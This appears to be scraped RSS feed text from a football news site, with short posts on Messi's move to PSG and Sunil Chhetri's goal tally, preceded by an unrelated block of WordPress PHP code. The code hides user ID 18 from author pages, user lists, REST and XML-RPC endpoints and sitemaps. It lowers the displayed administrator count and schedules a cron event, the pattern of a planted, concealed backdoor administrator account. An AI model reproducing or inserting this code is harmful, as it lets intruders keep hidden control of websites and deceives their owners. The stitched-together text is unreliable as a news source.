add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Lionel Messi joins Paris Saint -Germain with Barcelona legacy intact. appeared first on The Edge Media.
]]>The 34-year-old Messi did not want to leave the Camp Nou, certainly not in the manner he ultimately did.
He had agreed a new five-year deal but cash-strapped Catalans could not afford to make it happen. Messi is arguably the greatest of all time, even though he has never won the World Cup and claimed the last of his four Champion Leagues in 2015.
Winning that competition is all that matters to PSG and their Qatari owners and that is why they are paying Messi a reported 35 million euros ($41 million) a year.
The post Lionel Messi joins Paris Saint -Germain with Barcelona legacy intact. appeared first on The Edge Media.
]]>The post Indian Footballer Sunil Chhetri Takes Inspiration From Messi During Downs appeared first on The Edge Media.
]]>Over and above the comparison with Messi, Chhetri, who is 36, has passed him as the second-best global scorer among active competitors. “I see Messi’s videos when I’m unhappy, and when I meet him I’m going to tell him I’m a fan, offer him a beautiful handshake, and that’s all,” Chhetri stated in an interview with AIFF.
The post Indian Footballer Sunil Chhetri Takes Inspiration From Messi During Downs appeared first on The Edge Media.
]]>The post Ronaldo Tops The Most Goals Rank, Sunil Chhetri Follows appeared first on The Edge Media.
]]>Mabkhout from United Arab Emirates scored 73 times following his goals against Malaysia last week, and Messi from Argentina earned his 72nd international goal against Chile last Thursday.
When UAE takes over Thailand, Indonesia and Vietnam next week, Mobkhout will have a possibility to be back in second position. On the 15th June India faced Afghanistan, Chhetri too might expand its lead.
Messi is going to be in action at the Copa America, beginning in Brazil on June 13.
The post Ronaldo Tops The Most Goals Rank, Sunil Chhetri Follows appeared first on The Edge Media.
]]>